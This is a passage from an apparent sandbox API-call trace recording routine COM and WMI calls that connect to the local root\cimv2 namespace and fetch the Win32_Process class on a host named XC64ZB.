ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0120.955] WbemLocator:IUnknown:Release (This=0x1b4d2c40) returned 0x2 [0120.955] WbemLocator:IUnknown:Release (This=0x1b4d2c40) returned 0x1 [0120.955] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0120.955] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0120.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d2c40) returned 0x0 [0120.955] WbemLocator:IUnknown:AddRef (This=0x1b4d2c40) returned 0x3 [0120.955] WbemLocator:IUnknown:Release (This=0x1b4d2c40) returned 0x2 [0120.955] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aece0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0120.955] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0120.955] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.955] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d2d00) returned 0x0 [0120.956] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d2d00, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4ce3b0) returned 0x0 [0121.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce3b0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b511390) returned 0x0 [0121.036] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511390, pProxy=0x1b4ce3b0, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0121.036] WbemLocator:IUnknown:Release (This=0x1b511390) returned 0x1 [0121.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce3b0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b5113d8) returned 0x0 [0121.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce3b0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b511390) returned 0x0 [0121.036] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511390, pProxy=0x1b4ce3b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0121.036] WbemLocator:IUnknown:Release (This=0x1b511390) returned 0x2 [0121.036] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x1 [0121.036] CoTaskMemFree (pv=0x1b461d00) [0121.037] WbemLocator:IUnknown:Release (This=0x1b4d2d00) returned 0x0 [0121.037] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce3b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b5113d8) returned 0x0 [0121.037] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0121.077] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0121.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce3b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0121.117] WbemLocator:IUnknown:AddRef (This=0x1b5113d8) returned 0x3 [0121.117] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0121.117] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0121.117] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b5112b8) returned 0x0 [0121.117] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b5112b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.118] WbemLocator:IUnknown:Release (This=0x1b5112b8) returned 0x3 [0121.118] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0121.118] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0121.118] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b5113a0) returned 0x0 [0121.118] WbemLocator:IRpcOptions:Query (in: This=0x1b5113a0, pPrx=0x1b5113d8, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0121.118] WbemLocator:IUnknown:Release (This=0x1b5113a0) returned 0x3 [0121.118] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x2 [0121.118] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0121.119] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0121.119] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4ce3b0) returned 0x0 [0121.119] WbemLocator:IUnknown:AddRef (This=0x1b4ce3b0) returned 0x4 [0121.119] WbemLocator:IUnknown:Release (This=0x1b4ce3b0) returned 0x3 [0121.119] WbemLocator:IUnknown:Release (This=0x1b4ce3b0) returned 0x2 [0121.119] SysStringLen (param_1=0x0) returned 0x0 [0121.119] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aece0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0121.119] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0121.119] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.120] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0121.120] WbemLocator:IUnknown:AddRef (This=0x1b5113d8) returned 0x3 [0121.120] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b5113d8) returned 0x0 [0121.120] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x3 [0121.120] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x2 [0121.120] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0121.120] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0121.121] IWbemServices:GetObject (in: This=0x1b4ce3b0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d8350, ppCallResult=0x0) returned 0x0 [0121.193] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0121.193] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0121.194] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0121.194] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0121.194] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0121.194] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0121.194] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.194] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d2e00) returned 0x0 [0121.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2e00, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0121.195] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2e00, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4b0a20) returned 0x0 [0121.195] WbemDefPath:IUnknown:Release (This=0x1b4d2e00) returned 0x0 [0121.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4b0a20) returned 0x0 [0121.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0121.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0121.195] WbemDefPath:IUnknown:AddRef (This=0x1b4b0a20) returned 0x3 [0121.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0121.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0121.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d2b00) returned 0x0 [0121.195] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2b00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.195] WbemDefPath:IUnknown:Release (This=0x1b4d2b00) returned 0x3 [0121.195] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0121.195] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0121.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0121.196] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x2 [0121.196] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x1 [0121.196] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0121.196] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0121.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4b0a20) returned 0x0 [0121.196] WbemDefPath:IUnknown:AddRef (This=0x1b4b0a20) returned 0x3 [0121.196] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x2 [0121.196] WbemDefPath:IWbemPath:SetText (This=0x1b4b0a20, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0121.196] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0121.196] SysStringByteLen (bstr="XC64ZB") returned 0xc [0121.196] SysStringByteLen (bstr="XC64ZB") returned 0xc [0121.196] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0121.196] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0121.196] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0121.196] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0121.196] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0121.196] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0121.196] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0121.197] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0121.197] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0121.197] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.197] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2ba0) returned 0x0 [0121.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2ba0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0121.197] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2ba0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0060) returned 0x0 [0121.197] WbemDefPath:IUnknown:Release (This=0x1b4d2ba0) returned 0x0 [0121.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0060) returned 0x0 [0121.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0121.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0121.198] WbemDefPath:IUnknown:AddRef (This=0x1b4b0060) returned 0x3 [0121.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0121.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0121.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2680) returned 0x0 [0121.198] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2680, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.198] WbemDefPath:IUnknown:Release (This=0x1b4d2680) returned 0x3 [0121.198] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0121.198] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0121.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0121.198] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x2 [0121.198] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x1 [0121.198] 